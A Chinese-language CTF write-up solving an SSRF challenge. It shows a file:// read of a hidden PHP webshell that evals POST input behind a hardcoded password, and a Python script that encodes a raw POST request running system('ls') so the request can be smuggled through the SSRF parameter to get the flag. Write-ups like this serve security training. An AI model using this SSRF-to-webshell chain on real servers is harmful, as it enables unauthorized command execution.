记一次简单的PHP代码审计（SSRF案例）

题目链接：

http://oj.momomoxiaoxi.com:9090/

用dirsearch对网址进行扫描，发现robots.txt

命令行：

python3 dirsearch.py -u "http://oj.momomoxiaoxi.com:9090/" -e *

于是输入网址打开这个文件：

http://oj.momomoxiaoxi.com:9090/robots.txt

得到以下页面：

发现了隐藏的页面，输入以下网址得到源代码：

http://oj.momomoxiaoxi.com:9090/index.php?url=file:///var/www/html/webshe11111111.php

将代码复制下来在本地新建一个PHP文件：

 <?php

 $serverList = array(
     "127.0.0.1"
 );
 $ip = $_SERVER['REMOTE_ADDR'];
 foreach ($serverList as $host) {
     if ($ip === $host) {
         if ((!empty($_POST['admin'])) and $_POST['admin'] === 'h1admin') {
             @eval($_POST['hacker']);
         } else {
             die("You aren't admin!");
         }
     } else {
         die('This is webshell');
     }
 }

将其运行，得到如下页面：

按F12后点击HackBar插件，将进行如下修改：

即在本地搭建了一个环境，满足了源码中的host，然后发送POST请求，进行抓包，得到如下界面：

将其POST内容进行修改后写进脚本中：

 exp='''\
 POST /webshe11111111.php HTTP/1.1
 Host:127.0.0.1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Referer: http://localhost:63342/php/webshe11111111.php
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 34
 Cookie: Phpstorm-c2b818=be05b847-c935-441b-bdb7-465508c336b0
 Connection: close
 Upgrade-Insecure-Requests: 1

 admin=h1admin&hacker=system('ls');
 '''
 import urllib
 tmp = urllib.quote(exp)
 new = tmp.replace("%0A","%0D%0A")
 result = "_"+urllib.quote(new)
 print result

运行后得到字符串：

_POST%2520/webshe11111111.php%2520HTTP/1.1%250D%250AHost%253A127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A61.0%2529%2520Gecko/20100101%2520Firefox/61.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AReferer%253A%2520http%253A//localhost%253A63342/php/webshe11111111.php%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252034%250D%250ACookie%253A%2520Phpstorm-c2b818%253Dbe05b847-c935-441b-bdb7-465508c336b0%250D%250AConnection%253A%2520close%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Aadmin%253Dh1admin%2526hacker%253Dsystem%2528%2527ls%2527%2529%253B%250D%250A

复制到链接中得到存放flag的页面：

用得到webshell的方式则可得到fl11111aaaaaggggg.php的页面：

点开之后是一片空白，先想到查看源代码，得到flag：

Flag{Th1s_Easy_SSRF}